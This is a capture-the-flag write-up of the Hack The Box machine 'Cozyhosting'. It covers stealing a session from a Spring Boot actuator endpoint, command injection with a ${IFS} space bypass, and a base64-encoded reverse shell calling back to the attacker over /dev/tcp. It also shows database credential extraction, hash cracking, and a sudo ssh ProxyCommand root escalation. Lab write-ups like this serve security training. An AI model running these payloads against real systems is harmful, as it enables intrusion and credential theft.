Post

Cozyhosting - HTB Writeup

Machine Overview

“Cozyhosting” was an easy-rated Linux machine, involving the exploitation of a command injection vulnerability to gain shell access as the App user. The cloudhosting-0.0.1.jar file leaked the username and password of the PostgreSQL database. From the database, we obtained the hashed password of the josh user, which was easily cracked, leading to shell access on the machine as josh. For privilege escalation, we abused the ssh binary to gain root access on the machine.

Pasted image 20240302171829

User

Scanning Through NMAP

First, we’ll use nmap to scan the entire network and identify the services running. I’ll use the -p- flag to scan all 65535 ports with a –min-rate 10000 to speed up the process. After scanning, we’ll filter the results to show only the open ports using various terminal tools like cut and tr. Here’s the complete command:

1
$ nmap -p- --min-rate 10000 10.10.11.230 -oN ini.txt && cat ini.txt | cut  -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','

Now, let’s run a thorough scan on these specific ports using…

1
$ nmap -p22,80 -sC -sV -A -T4 10.10.11.230 -oN scan.txt
  • -sC is to run all the default scripts,
  • -sV for service and version detection
  • -A for Enable OS detection, version detection, script scanning, and traceroute
  • -T4 for aggressive scan
  • -oN to write the result into a specified file.
1
2
3
4
5
6
7
8
9
PORT      STATE  SERVICE  VERSION
22/tcp    open   ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp    open   http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Information Gathering

Through Nmap, we discovered that port 22 (SSH) is open, which can allow us to log into the machine with valid credentials. Port 80 (HTTP) is also open, redirecting us to cozyhosting.htb. Let’s add this information to our local DNS file called /etc/hosts for domain resolution on our computer.

1
2
3
$ echo "10.10.11.230  cozyhosting.htb" | sudo tee -a /etc/hosts

10.10.11.230  cozyhosting.htb

Port 80 http

Let’s check what is running on port 80 (HTTP). A website from a hosting provider company is running on it, with an interactive button on the navbar called login.

Pasted image 20240302141941

Stack

Let’s discover the technologies running on the backend of the website using Wappalyzer.

Pasted image 20240302141539

If we paste an invalid page path on the website, we encounter a strange 404 page.

Pasted image 20240302142122

With a quick Google search of this page, I discovered that this is the default error page of the Spring Boot framework. source

Pasted image 20240302142312

Exploiting Springboot

Spring Boot is an open-source, microservice-based Java web framework offered by Spring, particularly useful for software engineers developing web apps and microservices. A wordlist called spring-boot.txt is available in seclists, which can be used to fuzz the directories in the websites. For fuzzing, I will be using a tool called ffuf, a fuzzing tool to detect content and elements on webservers and web applications. ffuf finds some directories for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt 

________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/spring-boot.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

actuator                [Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 408ms]
actuator/env/home       [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 445ms]
actuator/env/lang       [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 258ms]
actuator/env/path       [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 225ms]
actuator/env            [Status: 200, Size: 4957, Words: 120, Lines: 1, Duration: 460ms]
actuator/health         [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 292ms]
actuator/sessions       [Status: 200, Size: 48, Words: 1, Lines: 1, Duration: 215ms]
actuator/mappings       [Status: 200, Size: 9938, Words: 108, Lines: 1, Duration: 381ms]
actuator/beans          [Status: 200, Size: 127224, Words: 542, Lines: 1, Duration: 356ms]
:: Progress: [112/112] :: Job [1/1] :: 116 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

On the actuator/sessions page, we found a session cookie for the user kanderson F0982EDEAB0F78EB6925671546B39FAE : kanderson

Pasted image 20240302143221

Let’s use this cookie to log in as the user kanderson on the web. Press F12 and navigate to the storage tab. Replace the value of JSESSIONID with the value of the kanderson user, then reload the page.

Pasted image 20240302143518

We were able to log in as the user kanderson on the web, and it turns out that kanderson has admin privileges on the domain.

Pasted image 20240302143807

Shell as APP

At the bottom of the page, there is a feature for automatic patching that accepts two inputs from the user:

  • Hostname
  • Username

It checks the private key of the given username in .ssh/authorized_keys. If the username provided in the input has the key in that location, then it will establish a connection; otherwise, it will throw an error “Host Key verification failed.” This suggests that there is some kind of command running in the username part, which compares our username with the private key present in .ssh/authorized_keys. Let’s intercept it in Burp and check if we can make it run our malicious command on the server.

Pasted image 20240302144148

And we can run our commands in the username field. The payload will be iamr0ot;$(pwd).

  • $(<command>) in Bash is utilized for command substitution, allowing the execution of commands and substitution of their output. Command substitution is a facility that allows a command to be run, and its output to be pasted back on the command line as arguments to another command.

Pasted image 20240302150349

So we can run any command on the server. But the issue here is, whitespace characters are blocked. I also tried using + and %20 to bypass it, but these are also blocked.

Pasted image 20240302151605

After some research, I discovered that we can use ${IFS} as a space in Bash. IFS is a special variable in Bash used to control the field separator for hyphenation and line parsing. By default, IFS is set to a space, a tab, and a newline character, which means that fields in a string are separated by any combination of these characters. We were able to bypass the white spaces using ${IFS}. (source)

Pasted image 20240302152518

Let’s get a shell on the box. I mostly use revshells.com for reverse shell payloads. Start a listener on your attacking machine to receive the shell.

1
$ nc -lvnp 90
  • -l for listener
  • -v for verbosity
  • -n for numeric IP address, no DNS name.
  • -p for port number

Pasted image 20240302153838

Paste the payload into the username parameter. The payload will be:

1
$(echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy85MCAwPiYx"|base64${IFS}-d|bash)

Pasted image 20240302164429

And we got a shell back within no time.

Pasted image 20240302153935

Let’s make this shell fully interactive and stable using:

1
2
3
4
$ python3 -c 'import pty; pty.spawn("/bin/bash")'  # for interactive shell
$ export TERM=xterm # to sets the terminal emulator to linux
$ CTRL+Z   # to background the process
$ stty raw -echo;fg   # to make shell stable

Pasted image 20240302154713

Shell as Josh

So there are basically two users on the machine, josh and root. Also, there is a PostgreSQL database running on the machine. If somehow we manage to obtain the credentials of the database, we could find juicy information there.

Pasted image 20240302154846

There is a cloudhosting-0.0.1.jar file present in the /app directory. Let’s download it to our local machine. Since Python is present on the machine, I will run a Python server on the victim machine to download the files.

Pasted image 20240302155213

The file has been successfully downloaded to our attacking machine. Let’s analyze it now.

Pasted image 20240302155419

In the /BOOT-INF/classes/ directory, there is a file called application.properties present, which contains the credentials for the PostgreSQL database.

Pasted image 20240302155527

1
postgres  :  Vg&nvzAQ7XxR

Pasted image 20240302155654

Let’s connect to the database using psql and check what interesting data is present using the following command:

1
$ psql "postgresql://postgres:Vg&nvzAQ7XxR@localhost/postgres"

Pasted image 20240302160020

Use \l (list) to list all the databases. We found one named cozyhosting. Let’s check its contents.

Pasted image 20240302160346

Use \c cozyhosting (connect) command to connect to the cozyhosting database. After connecting, use \dt (list tables) to display the tables in the database. In our case, there are two tables present: hosts and users.

Pasted image 20240302160806

Let’s list the content of the users table using the command SELECT * FROM users;. In the users table, we can find the Bcrypt hashed passwords of the kanderson and admin users.

Pasted image 20240302161007

We can crack it using hashcat or john, but here I will be using hashes.com for password decryption, an online hash cracking platform. We were able to crack the hash of the admin user, and the password is: manchesterunited.

Pasted image 20240302162217

According to the /etc/passwd file, there are only two users present on the machine: josh and root. This password didn’t work for the root user, but we were able to gain a shell as the josh user using these credentials:

1
$ sshpass -p manchesterunited ssh josh@10.10.11.230 

You can retrieve your user flag from the user.txt file located in the josh home directory.

Pasted image 20240302163124

Privilege Escalation

We observed that our user josh can execute ssh as the root user. You can use the sudo -l command to display all commands that our user can run with elevated privileges using sudo.

Pasted image 20240302163517

In GTFOBins, we can find a method to exploit the ssh binary to escalate our privileges to root. GTFOBins is a curated list of Unix binaries that can be utilized to bypass local security restrictions in misconfigured systems.

According to GTFOBins, if the ssh binary is permitted to execute as a superuser via sudo, it retains the elevated privileges and can be exploited to access the file system, escalate privileges, or maintain persistent access. source

The command to exploit this binary is:

1
$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Pasted image 20240302163931

Flags

User : 508b35571a870a…..5ed945a115d5c

Root : 04f048d88b………..0ec01273b538547

Happy Hacking ❤

This post is licensed under CC BY 4.0 by the author.